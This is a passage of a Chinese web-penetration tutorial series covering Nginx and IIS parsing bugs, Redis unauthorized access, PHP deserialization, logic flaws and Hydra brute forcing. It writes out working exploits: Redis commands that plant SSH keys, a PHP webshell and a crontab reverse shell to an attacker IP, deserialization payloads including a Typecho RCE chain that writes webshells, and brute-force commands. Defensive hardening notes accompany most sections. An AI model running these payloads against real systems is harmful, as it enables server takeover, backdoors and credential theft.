cgi.fix_pathinfo = 0
2

3
# php-fpm.conf
4
security.limit_extensions = .php

3.2 Nginx 文件名逻辑漏洞（CVE-2013-4547）#

漏洞信息#

属性	值
漏洞编号	CVE-2013-4547
影响版本	Nginx 0.8.41 ~ 1.4.3 / 1.5.0 ~ 1.5.7

漏洞原理#

Nginx 解析 URI 时，遇到空格 [0x20] 会特殊处理，跳过后续的 NULL 截断检测
访问 shell.gif[0x20][0x00].php 时：
文件名以 .php 结尾 → 交给 FastCGI
FastCGI 遇到 [0x00] → 截断 → 读取 shell.gif[0x20]
文件被当作 PHP 执行

利用步骤#

1
1. 上传 shell.gif（文件名后加空格 [0x20]）
2
2. 访问 /uploadfiles/shell.gif[0x20][0x00].php
3
3. 抓包，将两个字符分别改为 20 和 00
4
4. 发送请求 → 图片马被解析为 PHP

⚠️ [0x20] 是空格，[0x00] 是 NULL，均不需要 URL 编码。

漏洞原因#

1
Nginx 检测到空格 → 跳转到 sw_check_uri 继续处理
2
→ 零截断符被跳过 → 逻辑漏洞

漏洞防御#

升级 Nginx 版本
修改配置，避免 security.limit_extensions 为空

3.3 Nginx 配置错误漏洞#

漏洞1：CRLF 注入#

原理： Nginx 会对 $uri 进行解码，%0a%0d 被解析为换行符，注入 HTTP 响应头。

利用：

1
http://target.com/%0d%0aSet-Cookie:evil=1

响应头中插入 Set-Cookie，可能导致会话固定或 XSS。

错误配置示例：

1
location / {
2
    return 302 https://$host$uri;
3
}

漏洞2：目录穿越#

原理： 配置 alias 时忘记加 /，导致目录穿越。

错误配置：

1
location /files {
2
    alias /home/;
3
}

利用：

1
http://target.com/files../ → 访问根目录

正确配置：

1
location /files/ {
2
    alias /home/;
3
}

漏洞3：add_header 被覆盖#

原理： 子块中的 add_header 会覆盖父块中的设置。

1
add_header X-Frame-Options "SAMEORIGIN";
2

3
location /test2/ {
4
    add_header X-Content-Type-Options "nosniff";  # 覆盖父块
5
}

→ /test2/ 下失去 X-Frame-Options 保护

漏洞防御#

仔细检查 Nginx 配置文件
避免 $uri 直接用于跳转
alias 配置末尾加 /
子块中不覆盖全局安全头

四、IIS 解析漏洞#

4.1 IIS 7.5 解析漏洞#

漏洞信息#

属性	值
版本	IIS 7.0 / 7.5
运行模式	Fast-CGI
原理	`/shell.jpg/1.php` 被解析为 PHP

前提条件#

1
1. php.ini 中 cgi.fix_pathinfo = 1
2
2. Handler Mapping 中未勾选特定选项（取消对路径的检查）

利用方式#

1
1. 上传图片马 shell.jpg
2
2. 访问 /shell.jpg/1.php
3
3. 文件被当作 PHP 解析

漏洞防御#

1
1. php.ini: cgi.fix_pathinfo = 0
2
2. Handler Mapping 中勾选相应限制
3
3. 升级到 IIS 7.5+

4.2 IIS 6.0 解析漏洞#

漏洞1：目录解析漏洞#

原理： 文件夹名以 .asp 结尾，其内部所有文件都被解析为 ASP。

1
/a.asp/
2
  ├── 1.txt      → 被解析为 ASP 执行
3
  └── image.jpg  → 被解析为 ASP 执行

漏洞2：文件名解析漏洞#

原理： 分号 ; 后的内容被忽略。

1
shell.asp;.jpg  → 视为 .asp 文件执行

利用方式：

1
上传 shell.asp;.jpg → IIS 解析为 ASP 执行

漏洞防御#

升级到 IIS 7.0+
限制上传文件类型
使用白名单机制

📌 快速参考卡片#

Apache 漏洞#

漏洞	利用方式
多后缀解析	`shell.php.png` 作为 PHP 执行
换行解析 (CVE-2017-15715)	`shell.php%0a` 绕过黑名单
SSI RCE	上传 `.shtml`，`<!--#exec cmd="id"-->`

Nginx 漏洞#

漏洞	利用方式
解析漏洞	`shell.jpg/shell.php` → 执行 shell.jpg 中的 PHP
CVE-2013-4547	`shell.gif[空格][NULL].php` 绕过
配置错误	CRLF 注入、目录穿越、add_header 覆盖

IIS 漏洞#

漏洞	利用方式
IIS 7.5	`shell.jpg/1.php` → 执行 shell.jpg 中的 PHP
IIS 6.0 目录解析	`/a.asp/1.txt` → 执行 1.txt 为 ASP
IIS 6.0 文件名解析	`shell.asp;.jpg` → 执行 shell.asp

防御通用原则#

1
1. 升级中间件版本
2
2. 避免用户控制文件名
3
3. 使用白名单校验扩展名
4
4. 配置文件上传目录执行权限
5
5. 禁用不必要的功能（SSI、CGI 等）

Redis 未授权访问

Tue, 29 Sep 2026 15:03:00 GMT

一、漏洞概述#

1.1 原理#

Redis 低版本默认情况下会开放 6379 端口，允许任意用户未授权发送 Redis 指令，无需身份认证即可访问和操作 Redis 数据库。

1.2 必要条件#

条件	说明
Redis 版本	v5.0.5 以下（默认无密码认证）
端口开放	6379 端口对攻击者可达
权限	以 root 或高权限运行（危害更大）

1.3 漏洞危害#

危害	说明
信息泄露	未授权访问内部数据
数据破坏	执行 `FLUSHALL` 清空所有数据
写入后门	通过数据备份功能写入 Webshell、SSH 公钥
命令执行	通过 `EVAL` 执行 Lua 代码
服务器控制	以 root 身份运行时可完全控制服务器

二、Redis 搭建（Docker）#

Terminal window

1
# 安装 Docker
2
sudo apt update
3
sudo apt install docker.io -y
4

5
# 拉取并运行 Redis 5.0.5 容器
6
sudo docker run -d -p 6379:6379 --name redis redis:5.0.5

三、漏洞利用#

3.1 环境拓扑#

1
┌─────────────┐     ┌──────────────────┐
2
│   Kali      │────▶│  Ubuntu + Docker  │
3
│  (攻击机)   │     │   Redis:5.0.5     │
4
└─────────────┘     └──────────────────┘

3.2 利用方式一：写入 SSH 公钥（免密登录）#

原理： 将 SSH 公钥写入 Redis，通过修改备份路径和文件名，将公钥保存到 ~/.ssh/authorized_keys。

Step 1：生成 SSH 密钥对#

Terminal window

1
# 在 Kali 上生成 SSH 密钥对（密码设为空）
2
ssh-keygen
3
# 一直回车即可

Step 2：准备公钥文件#

Terminal window

1
# 处理公钥格式（添加换行，否则 Redis 不接受）
2
(echo -e "\n\n"; cat ~/.ssh/id_rsa.pub; echo -e "\n\n") > 1.txt

Step 3：写入 Redis#

Terminal window

1
# 将公钥写入 Redis（key 名为 crack）
2
cat 1.txt | redis-cli -h 192.168.61.103 -x set crack

Step 4：查看并修改备份路径#

Terminal window展开收起

1
# 连接 Redis
2
redis-cli -h 192.168.61.103
3

4
# 查看当前备份路径
5
192.168.61.103:6379> CONFIG GET dir
6
1) "dir"
7
2) "/root"
8

9
# 修改备份路径为 .ssh 目录
10
192.168.61.103:6379> CONFIG SET dir /root/.ssh
11
OK
12

13
# 设置备份文件名为 authorized_keys
14
192.168.61.103:6379> CONFIG SET dbfilename authorized_keys
15
OK
16

17
# 保存
18
192.168.61.103:6379> SAVE
19
OK
20

21
# 退出
22
192.168.61.103:6379> exit

展开收起

Step 5：免密登录#

Terminal window

1
# 使用私钥登录目标服务器
2
ssh -i ~/.ssh/id_rsa root@192.168.61.103

3.3 利用方式二：写入 Webshell#

原理： 将 PHP 一句话木马写入 Redis，通过修改备份路径到 Web 目录，生成 Webshell 文件。

Step 1：连接 Redis#

Terminal window

1
redis-cli -h 192.168.68.132 -p 6379

Step 2：修改备份路径到 Web 目录#

Terminal window

1
# 修改备份路径为 Web 根目录
2
192.168.68.132:6379> CONFIG SET dir /var/www/html
3
OK
4

5
# 设置文件名为 shell.php
6
192.168.68.132:6379> CONFIG SET dbfilename shell.php
7
OK

Step 3：写入一句话木马#

Terminal window

1
# 写入 Webshell
2
192.168.68.132:6379> SET x "<?php @eval(\$_POST['a'])?>"
3
OK

Step 4：保存并验证#

Terminal window

1
# 确认配置
2
192.168.68.132:6379> CONFIG GET dir
3
1) "dir"
4
2) "/var/www/html"
5

6
192.168.68.132:6379> CONFIG GET dbfilename
7
1) "dbfilename"
8
2) "shell.php"
9

10
# 保存
11
192.168.68.132:6379> SAVE
12
OK
13

14
192.168.68.132:6379> exit

Step 5：访问 Webshell#

1
http://192.168.68.132/shell.php
2
POST: a=phpinfo();

3.4 利用方式三：Crontab 反弹 Shell#

原理： 在 Linux 的定时任务目录 /var/spool/cron/ 中写入反弹 Shell 脚本。

Step 1：攻击机开启监听#

Terminal window

1
nc -lvvvp 6666

Step 2：连接 Redis 并写入反弹命令#

Terminal window展开收起

1
redis-cli -h 192.168.68.132 -p 6379
2

3
# 写入反弹 Shell 命令（每分钟执行一次）
4
192.168.68.132:6379> SET xxx "\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/192.168.100.147/6666 0>&1\n\n"
5
OK
6

7
# 修改备份路径为 Crontab 目录
8
192.168.68.132:6379> CONFIG SET dir /var/spool/cron
9
OK
10

11
# 设置文件名
12
192.168.68.132:6379> CONFIG SET dbfilename root
13
OK
14

15
# 保存
16
192.168.68.132:6379> SAVE
17
OK

展开收起

⚠️ 注意： 反弹 Shell 命令中的 IP 要改为攻击机的 IP！

四、Redis 防御加固#

4.1 设置访问密码（禁止未授权访问）#

Terminal window

1
# 编辑 Redis 配置文件
2
vi /etc/redis.conf
3

4
# 找到 requirepass，取消注释并设置密码
5
requirepass foobared

验证：

Terminal window

1
# 连接后无法执行命令
2
redis-cli -h 192.168.68.132 -p 6379
3
192.168.68.132:6379> CONFIG GET dir
4
(error) NOAUTH Authentication required.
5

6
# 需要先认证
7
192.168.68.132:6379> AUTH foobared
8
OK
9
192.168.68.132:6379> CONFIG GET dir
10
1) "dir"
11
2) "/root"

4.2 设置访问白名单#

Terminal window

1
# 编辑 Redis 配置文件
2
vi /etc/redis.conf
3

4
# 修改 bind，限制仅允许指定 IP 访问
5
bind 127.0.0.1 192.168.1.100

4.3 其他加固建议#

措施	说明
以低权限运行	不要以 root 用户运行 Redis
修改默认端口	将 6379 改为其他端口
启用防火墙	限制 6379 端口的访问来源
定期更新	升级到最新版本，修复已知漏洞
使用非 root 用户	创建专用用户运行 Redis

五、Redis 攻击工具#

工具	地址	说明
redis-rogue-server	https://github.com/n0b0dyCN/redis-rogue-server	Redis RCE 利用工具
redis-rce	https://github.com/Ridter/redis-rce	Redis 远程命令执行工具

📌 快速参考卡片#

漏洞检测#

Terminal window

1
# 扫描端口
2
nmap -p 6379 目标IP
3

4
# 尝试未授权连接
5
redis-cli -h 目标IP -p 6379
6

7
# 如果可执行命令，则存在漏洞
8
192.168.x.x:6379> INFO

写入 SSH 公钥流程#

Terminal window

1
ssh-keygen
2
(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > 1.txt
3
cat 1.txt | redis-cli -h 目标IP -x set crack
4
redis-cli -h 目标IP
5
CONFIG SET dir /root/.ssh
6
CONFIG SET dbfilename authorized_keys
7
SAVE
8
ssh -i id_rsa root@目标IP

写入 Webshell 流程#

Terminal window

1
redis-cli -h 目标IP
2
CONFIG SET dir /var/www/html
3
CONFIG SET dbfilename shell.php
4
SET x "<?php @eval(\$_POST['a'])?>"
5
SAVE

反弹 Shell 流程#

Terminal window

1
# 攻击机
2
nc -lvvvp 6666
3

4
# Redis
5
SET xxx "\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/攻击机IP/6666 0>&1\n\n"
6
CONFIG SET dir /var/spool/cron
7
CONFIG SET dbfilename root
8
SAVE

防御加固#

Terminal window

1
# 设置密码
2
requirepass 强密码
3

4
# 限制访问 IP
5
bind 127.0.0.1 允许的IP
6

7
# 以非 root 用户运行
8
useradd redis
9
su - redis

反序列化漏洞

Sun, 27 Sep 2026 15:02:00 GMT

一、面向对象基础#

1.1 面向对象思想#

万物皆对象，任何事物都可以看作对象。面向对象的思想是用对象来解决问题。

对比	面向过程	面向对象
小餐馆	夫妻作坊，什么都自己做	—
大餐馆	—	餐饮公司，分工明确（厨师、服务员、收银员）

1.2 三大特性#

封装：隐藏内部实现细节
继承：子类继承父类属性和方法
多态：同一方法在不同对象上有不同表现

二、序列化与反序列化概念#

2.1 什么是序列化/反序列化？#

概念	说明
序列化	将数据结构或对象转换成二进制串（或可传输格式）的过程
反序列化	将二进制串转换回数据结构或对象的过程

通俗理解：

序列化 = 存档（将游戏进度保存到文件）
反序列化 = 读档（从文件恢复游戏进度）

2.2 使用场景#

场景	说明
存储	将对象从内存保存到硬盘（Session、缓存）
传输	跨语言/跨系统传输数据（如 API 传递对象）
进程通信	进程间/线程间传输二进制流

2.3 序列化格式#

1
对象 → 序列化 → 中间格式（文本/JSON/XML/二进制）→ 反序列化 → 对象

三、PHP 序列化基础#

3.1 序列化语法#

1
<?php
2
class Student {
3
    public $name = "jack";
4
    public $age = 18;
5
    public $address = "beijing";
6
}
7

8
$student = new Student();
9
$str = serialize($student);
10
echo $str;
11
?>

输出：

1
O:7:"Student":3:{s:4:"name";s:4:"jack";s:3:"age";i:18;s:7:"address";s:7:"beijing";}

3.2 序列化格式详解#

1
O:7:"Student":3:{...}
2
│ │  │        │
3
│ │  │        └── 属性数量
4
│ │  └── 类名
5
│ └── 类名长度
6
└── 对象类型（Object）

属性格式：

1
s:4:"name";s:4:"jack";
2
│ │   │    │ │   │
3
│ │   │    │ │   └── 属性值
4
│ │   │    │ └── 属性值类型（s=字符串）
5
│ │   │    └── 属性值长度
6
│ │   └── 属性名
7
│ └── 属性名长度
8
└── 数据类型（s=字符串）

类型标识符：

标识	类型
`s`	String
`i`	Integer
`b`	Boolean
`a`	Array
`O`	Object
`N`	NULL
`d`	Double

3.3 反序列化#

1
<?php
2
$str = 'O:7:"Student":3:{s:4:"name";s:4:"jack";s:3:"age";i:18;s:7:"address";s:7:"beijing";}';
3
$obj = unserialize($str);
4
var_dump($obj);
5
echo $obj->name;  // jack
6
?>

四、PHP 魔术方法（关键）#

💡 这些魔术方法在特定操作时自动调用，是反序列化漏洞的核心入口。

魔术方法	触发时机
`__construct()`	类实例化时自动调用
`__destruct()`	对象销毁时自动调用
`__sleep()`	序列化（`serialize()`）时自动调用
`__wakeup()`	反序列化（`unserialize()`）时自动调用
`__toString()`	对象被当作字符串使用时调用（如 `echo`、字符串拼接）
`__invoke()`	对象被当作函数调用时触发
`__call()`	调用不存在或不可访问的方法时触发
`__get()`	访问不存在或不可访问的属性时触发
`__set()`	设置不存在或不可访问的属性时触发
`__isset()`	对不存在或不可访问属性调用 `isset()` 时触发
`__unset()`	对不存在或不可访问属性调用 `unset()` 时触发
`__clone()`	克隆对象时自动调用

4.1 sleep() 和 wakeup()#

1
<?php
2
class People {
3
    public $name;
4
    public $age;
5
    public $address;
6

7
    public function __construct($name, $age, $address) {
8
        $this->name = $name;
9
        $this->age = $age;
10
        $this->address = $address;
11
    }
12

13
    // 序列化时自动调用，指定需要序列化的属性
14
    public function __sleep() {
15
        return array("name", "age");  // 只序列化 name 和 age
16
    }
17

18
    // 反序列化时自动调用，可修改属性值
19
    public function __wakeup() {
20
        $this->address = "BeiJing";   // 反序列化后重新赋值
21
    }
22
}
23
?>

展开收起

五、反序列化漏洞原理#

5.1 核心原理#

用户可控的输入被传入 unserialize()，攻击者构造恶意序列化数据，触发魔术方法中的危险操作（如 eval、文件操作、命令执行等）。

5.2 Demo 1：存储文件可控 → XSS#

Dog.php

1
<?php
2
class Dog {
3
    public $name = "labuladuo";
4
}
5

6
// 写入序列化数据到文件
7
$dog = new Dog();
8
file_put_contents("dog.txt", serialize($dog));
9

10
// 读取并反序列化
11
$data = file_get_contents("dog.txt");
12
print_r(unserialize($data));
13
?>

攻击： 修改 dog.txt 内容

1
O:3:"Dog":1:{s:4:"name";s:26:"<script>alert(1);</script>";}

→ 反序列化时输出 XSS 代码 → 触发弹窗

5.3 Demo 2：参数可控 → __wakeup() 触发 XSS#

1
<?php
2
class Cat {
3
    public $name = "波斯猫";
4
    public function __wakeup() {
5
        echo "开始加载存档......";
6
        echo $this->name;
7
        echo "加载存档完成......";
8
    }
9
}
10

11
$data = $_REQUEST['data'];
12
unserialize($data);
13
?>

Payload：

1
O:3:"Cat":1:{s:4:"name";s:32:"<img src='1' onerror='alert(1)'>";}

5.4 Demo 3：__wakeup() 执行任意代码#

1
<?php
2
class Cat {
3
    public $name = "波斯猫";
4
    public function __wakeup() {
5
        eval($this->name);
6
    }
7
}
8

9
$data = $_REQUEST['data'];
10
unserialize($data);
11
?>

Payload 1（执行 phpinfo）：

1
O:3:"Cat":1:{s:4:"name";s:10:"phpinfo();";}

Payload 2（写 Webshell）：

1
O:3:"Cat":1:{s:4:"name";s:61:"file_put_contents('shell.php','<?php eval($_REQUEST[6]);?>');";}

5.5 Demo 4：Pikachu 靶场#

1
<?php
2
class S{
3
    var $test = "pikachu";
4
    function __construct(){
5
        echo $this->test;
6
    }
7
}
8

9
if(isset($_POST['o'])){
10
    $s = $_POST['o'];
11
    $unser = unserialize($s);
12
    echo $unser->test;
13
}
14
?>

Payload：

1
O:1:"S":1:{s:4:"test";s:29:"<script>alert('gxa')</script>";}

5.6 Demo 5：CTF 靶场（利用 __toString 读取文件）#

1
<?php
2
class Readme{
3
    public $source;
4
    public function __toString() {
5
        return highlight_file('Readme.txt', true) . highlight_file($this->source, true);
6
    }
7
}
8

9
// 判断逻辑：从 Cookie 读取序列化数据并反序列化
10
if(isset($_COOKIE['todos'])){
11
    $c = $_COOKIE['todos'];
12
    $h = substr($c, 0, 32);
13
    $m = substr($c, 32);
14
    if(md5($m) == $h){
15
        $todos = unserialize($m);
16
    }
17
}
18
?>

展开收起

Payload 构造：

1
<?php
2
class Readme{
3
    public $source = 'flag.php';
4
    public function __toString() {
5
        return highlight_file($this->source, true);
6
    }
7
}
8

9
$todos[] = new Readme();
10
$m = serialize($todos);
11
$h = md5($m);
12
echo $h . urlencode($m);
13
?>

5.7 Demo 6：复杂 POP 链（魔术方法链）#

利用多个魔术方法串联形成调用链：

1
__destruct() → __toString() → __call() → __clone() → __isset() → __invoke() → 读取 flag

POP 链追踪：

1
Start::__destruct()
2
  → 将 $this->name 视为对象 → 触发 Sec::__toString()
3
    → Sec::$this->obj->check() → 触发 Easy::__call()
4
      → $this->cla = clone $var[0] → 触发 eeee::__clone()
5
        → isset($this->obj->cmd) → 触发 Start::__isset()
6
          → $func = $this->func; $func() → 触发 Sec::__invoke()
7
            → file_get_contents('/flag')

六、POP 链（Property-Oriented Programming）#

POP 链（面向属性编程）是指从现有运行环境中寻找一系列代码/方法调用，构成一组连续的调用链，从而实现攻击目的。

概念类比：

概念	说明
ROP（Return-Oriented Programming）	二进制漏洞利用中的返回导向编程
POP（Property-Oriented Programming）	反序列化漏洞中的属性导向编程（利用魔术方法串联）

七、Typecho 反序列化漏洞分析（实战案例）#

7.1 漏洞入口#

1
URL: http://www.typecho.com/install.php?finish=
2
请求头: Referer: http://www.typecho.com
3
请求体: __typecho_config=1111

7.2 POP 链#

1
install.php（finish 参数）
2
  ↓
3
Typecho_Cookie::get('__typecho_config')
4
  ↓
5
Typecho_Db::__construct($adapterName, $prefix)
6
  ↓（adapterName 指向 Typecho_Feed 对象）
7
Typecho_Feed::__toString()
8
  ↓（$this->item['author']->screenName）
9
Typecho_Request::__get('screenName')
10
  ↓
11
Typecho_Request::get('screenName')
12
  ↓
13
Typecho_Request::_applyFilter($value)
14
  ↓（_filter = array('assert')）
15
assert('file_put_contents(...)') → RCE

展开收起

7.3 Payload 构造#

1
<?php
2
class Typecho_Request {
3
    private $_params = array(
4
        'screenName' => 'die(file_put_contents("3.php", "<?php eval(\$_REQUEST[6]); ?>"))'
5
    );
6
    private $_filter = array('assert');
7
}
8

9
class Typecho_Feed {
10
    private $_type = 'ATOM';
11
    private $_items = array(
12
        array(
13
            'category' => array(new Typecho_Request()),
14
            'author' => new Typecho_Request()
15
        )
16
    );
17
}
18

19
$request = new Typecho_Request();
20
$feed = new Typecho_Feed();
21

22
$config = array(
23
    'adapter' => $feed,
24
    'prefix' => ''
25
);
26

27
$payload = base64_encode(serialize($config));
28
echo $payload;
29
?>

展开收起

八、常见反序列化漏洞（Java 生态）#

漏洞	说明
Log4j2	核弹级漏洞（JNDI 注入）
FastJSON	反序列化漏洞
WebLogic	反序列化漏洞
Shiro	RememberMe 反序列化漏洞

九、反序列化漏洞防御#

措施	说明
严格校验	对传入 `unserialize()` 的数据进行严格校验
白名单	只允许反序列化特定的类
禁用危险函数	如 `eval()`、`assert()`、`system()` 等
使用安全替代方案	如 JSON 序列化（`json_encode`/`json_decode`）
签名验证	对序列化数据添加签名，防止篡改

📌 快速参考卡片#

序列化格式#

1
O:类名长度:"类名":属性数:{属性1;属性2;...}
2
s:长度:"值"; i:数字; b:布尔; a:数组; N:NULL

常见 POP 链入口#

1
__destruct()   // 对象销毁 → 最常用的入口
2
__wakeup()     // 反序列化时自动触发
3
__toString()   // 对象被当字符串使用

漏洞审计要点#

搜索 unserialize(
追踪参数来源（GET/POST/COOKIE/文件）
查找可利用的魔术方法
构建 POP 链

常用 Payload#

1
// 执行 phpinfo
2
O:3:"Cat":1:{s:4:"name";s:10:"phpinfo();";}
3

4
// 写 Webshell
5
O:3:"Cat":1:{s:4:"name";s:61:"file_put_contents('shell.php','<?php eval($_REQUEST[6]);?>');";}
6

7
// XSS
8
O:3:"Cat":1:{s:4:"name";s:32:"<img src='1' onerror='alert(1)'>";}

逻辑漏洞

Fri, 25 Sep 2026 15:01:00 GMT

一、逻辑漏洞概述#

1.1 什么是逻辑漏洞？#

逻辑漏洞是指业务逻辑层面的设计缺陷，属于”业务安全”范畴。与 SQL 注入、XSS 等技术型漏洞不同，逻辑漏洞是开发人员对业务规则理解不准确或设计不严谨导致的。

1.2 逻辑漏洞分类#

类别	典型场景
重装漏洞	CMS 重装页面可被访问，或结合任意文件删除
口令漏洞	弱口令、密码爆破
验证码漏洞	前端校验、重复使用、空值绕过
越权漏洞	水平越权、垂直越权
支付逻辑	修改金额、数量、顺序绕过
未授权访问	绕过认证直接访问资源
任意文件读写	目录穿越导致文件泄露或写入

二、重装漏洞#

2.1 原理#

安装时填写的配置被存入 PHP 文件中，导致可以注入 PHP 代码实现 RCE。

2.2 利用条件#

安装页面可被直接访问（未删除 install 目录）
配置参数写入文件时可被注入恶意代码
大部分情况需要任意文件删除配合（删除锁文件后重装）

2.3 挖掘方法#

1
1. 直接访问 /install 或 /install.php
2
2. 如被限制，寻找任意文件删除漏洞（删除安装锁文件）
3
3. 重装并注入恶意配置

三、任意文件读写及目录穿越#

3.1 任意读取文件#

可导致： 源代码泄露、配置文件读取、密码/密钥泄露

挖掘方法：

1
1. 寻找文件读取功能点（预览、下载、包含）
2
2. 文件名参数是否可控，是否存在路径穿越
3
3. 使用 ../../../ 尝试读取敏感文件
4
4. 使用高亮插件/代码审计工具辅助挖掘

3.2 任意写入文件#

可导致： Webshell 写入、配置文件篡改

挖掘方法：

1
1. 寻找文件编辑功能点
2
2. 文件名参数是否可控制
3
3. 使用 ../ 进行目录穿越
4
4. 尝试写入 Webshell
5
5. SQLi 也可能导出 Webshell（如 INTO OUTFILE）

3.3 知名历史漏洞#

漏洞	编号	说明
Tomcat PUT 任意写入	CVE-2017-12615	通过 PUT 方法上传 Webshell
WebLogic 任意文件上传	CVE-2018-2894	文件上传导致 RCE
FlowiseAI 任意文件写入	CVE-2025-26319	AI 工具链漏洞

四、口令漏洞#

类型	说明
弱口令	123456、admin、password 等常见密码
密码爆破	社工字典构建，使用 Burp Suite 爆破
默认凭证	系统默认账号密码未修改
空密码	密码字段为空可登录

五、验证码漏洞#

5.1 验证码漏洞统计（乌云 63 个案例）#

5.2 验证码漏洞分类#

编号	漏洞类型	说明
1	前端验证无后端校验	验证码只在前端校验，抓包后可直接爆破
2	验证码形同虚设	乱输验证码也能成功登录
3	验证码可重复使用	登录失败后验证码不变，同一验证码可多次使用
4	验证码空值绕过	删除验证码参数名即可绕过
5	验证码干扰过低	简单验证码可被脚本识别
6	验证码在 HTML 源码输出	验证码在源码中直接暴露
7	验证码可控制	验证码是 URL 参数，可被修改
8	验证码有生成规则	如时间戳后 N 位、rand() 可预测
9	存在默认验证码	如输入 `000000` 可绕过
10	验证码在 Cookie 中	Cookie 中存在验证码参数
11	图片类型太少	验证码图片数量有限，可制作特征库

5.3 挖掘方法#

1
┌─ 判断验证码是否后端校验 ─┐
2
│                          │
3
├── 否：直接抓包爆破       │
4
│                          │
5
├── 是：尝试以下方式       │
6
│   ├── 1. 删除变量参数对再爆破
7
│   ├── 2. 测试默认验证码（如 000000）
8
│   ├── 3. 找发送验证码包中的凭证
9
│   ├── 4. 响应包（Cookie/响应体）中找验证码
10
│   ├── 5. HTML源码/隐藏表单中找验证码
11
│   ├── 6. 简单验证码工具识别
12
│   ├── 7. 图片集数量少 → 制作特征库
13
│   ├── 8. 猜测验证码生成算法
14
│   │      └── 如时间戳后6位、md5()
15
│   │      └── 生成字典，在字典中查询验证码
16
│   └── 9. 爆破验证码
17
│          └── 绕过请求频繁限制：手机号后加空格等
18
│
19
└─ 任意密码重置
20
    ├── 未授权绕过：直接构造请求跳过中间步骤
21
    ├── 授权错误：替换身份 token 或 UID
22
    └── 接收自己验证码，修改他人密码

展开收起

5.4 验证码绕过脑图（核心）#

1
                    ┌─ 验证码功能中的校验点
2
                    │
3
         ┌──────────┼──────────┐
4
         │          │          │
5
    发送验证码    验证验证码  重置密码
6
         │          │          │
7
    凭证泄露     可预测/   未授权绕过
8
    劫持        可绕过     授权错误

5.5 任意密码重置（账户劫持）#

方式	说明
未授权绕过	先走常规流程，发现规律后直接构造请求跳过中间步骤
授权错误	请求包中身份 token 有规律，替换其他用户 ID 或 token

六、越权漏洞#

6.1 分类#

类型	说明
水平越权	普通用户以其他普通用户身份操作资源
垂直越权	普通用户以管理员身份操作资源

6.2 挖掘方法#

1
1. 准备 2 个账号互相测试
2
2. 找认证参数（关键）
3
   └── 每次请求服务器凭什么认为你是合法用户？
4
3. 修改关键参数为其他用户 ID 或管理员
5
4. 尝试越权访问

核心难点： 认证参数的生成原理 → 需要反复尝试和猜测，生成对应的其他用户信息。

6.3 典型场景#

查看/修改用户资料
查看/取消订单
添加/删除用户
查看/导出数据

6.4 靶场#

Pikachu： 水平越权（查看其他用户信息）、垂直越权（普通用户添加用户）

七、支付逻辑漏洞#

7.1 边界值攻击#

类型	示例
负数	购买数量设为 `-1`，总额变为负数
超大数	金额设为 `999999999` 导致溢出
超小数	金额设为 `0.001` 绕过最低支付

7.2 其他参数篡改#

1
商品单价      → 改为 0.01
2
商品数量      → 改为负数
3
总价          → 改为任意值
4
商品编号      → 替换为更贵的商品
5
优惠金额      → 改为最大值
6
优惠券/卡币   → 任意使用
7
积分/货币     → 任意修改
8
结算类别      → 替换
9
折扣          → 改为 0（免费）
10
用户身份信息   → 替换（手机号、邮箱、账号 ID）

7.3 顺序执行缺陷#

1
1. 跳过中间逻辑（如审核、验证步骤）
2
2. 直接进入发货流程（省略支付）
3
3. 重放发货请求 → 多次发货
4
4. 获取支付 key → 不支付直接发货

示例：

正常流程：下单 → 支付 → 发货
利用方式：下单后，直接访问发货 URL（跳过支付）

八、未授权漏洞#

无需登录即可访问需要认证的资源。

典型场景：

后台目录可被直接访问
API 接口无认证校验
通过修改 UID/role 参数绕过
通过响应包篡改绕过登录

九、登录页面渗透思路#

测试点	说明
短信/邮箱轰炸	重复发送验证码
密码爆破	字典攻击
用户名爆破	枚举有效用户
验证码安全	前端校验、重复使用、空值绕过
HTML 源码泄露	测试账号在注释中
SQL 注入	登录框注入
XSS	用户名/密码字段
撞库	社工机器人
空密码	尝试空密码登录
认证凭证替换	修改返回包中的账号字段
Cookie 仿冒	修改 Cookie 中的身份标识

十、密码找回功能逻辑漏洞#

漏洞类型	说明
短信/邮箱轰炸	重复发送验证码
短信/邮箱劫持	接收其他用户的验证码
验证码与用户未绑定	用自己验证码修改他人密码
跳过验证步骤	直接访问重置密码页面
验证码返回到前端	在响应包中直接返回验证码
弱 Token	重置密码 Token 可预测
Session 覆盖	通过 Session 猜测他人身份
爬虫批量修改	自动遍历用户 ID 重置密码

📌 快速参考卡片#

验证码绕过速查#

Terminal window

1
# 1. 删除验证码参数
2
user=admin&pwd=123  # 删除 &code=xxx
3

4
# 2. 默认验证码
5
000000 / 111111 / 888888
6

7
# 3. 重复使用
8
验证码不变，多次尝试
9

10
# 4. 前端绕过
11
直接抓包重放
12

13
# 5. 生成规则预测
14
时间戳后6位 / rand(1000,9999)

越权测试流程#

1
1. 用用户A登录 → 抓取请求
2
2. 识别身份标识参数（uid、userid、token）
3
3. 将参数改为用户B的值
4
4. 观察响应是否有变化
5
5. 尝试更改为 admin/1/0 测试垂直越权

支付逻辑测试点#

1
1. 修改数量为负数
2
2. 修改单价为小数
3
3. 修改总价为 0.01
4
4. 替换商品编号
5
5. 跳过支付步骤
6
6. 重放发货请求

弱口令与未授权访问

Wed, 23 Sep 2026 15:00:00 GMT

一、服务弱口令爆破（Hydra）#

1.1 基本用法#

Hydra 是一款支持多种协议的爆破工具。

Terminal window

1
hydra -L 用户名字典 -P 密码字典 -t 线程数 服务://目标IP:端口

1.2 常见服务爆破命令#

服务	端口	命令示例
SSH	22	`hydra -L user.txt -P pass.txt -t 20 ssh://192.168.198.131:22`
RDP	3389	`hydra -L user.txt -P pass.txt -t 20 rdp://192.168.68.137:3389`
FTP	21	`hydra -L user.txt -P pass.txt -t 20 ftp://192.168.198.133:21`
SMB	445	`hydra -L user.txt -P pass.txt -t 20 smb://192.168.198.133:445`
Telnet	23	`hydra -L user.txt -P pass.txt -t 20 telnet://192.168.198.133:23`

⚠️ RDP 爆破存在误报情况，需注意验证。

二、Tomcat 后台弱口令 Getshell#

2.1 场景#

Tomcat 管理后台（/manager/html）存在弱口令，登录后可通过部署 WAR 包获取服务器权限。

2.2 MSF 爆破模块#

Terminal window

1
msf6 > search tomcat
2
# 使用弱口令爆破模块
3
msf6 > use auxiliary/scanner/http/tomcat_mgr_login
4

5
# 查看配置
6
msf6 > show options
7

8
# 设置参数
9
msf6 > set RHOSTS 目标IP
10
msf6 > set RPORT 目标端口
11
msf6 > run

2.3 上传 WAR 包 Getshell#

Step 1：制作 WAR 包

Terminal window

1
# 创建 Webshell 文件（如 goodman.jsp）
2
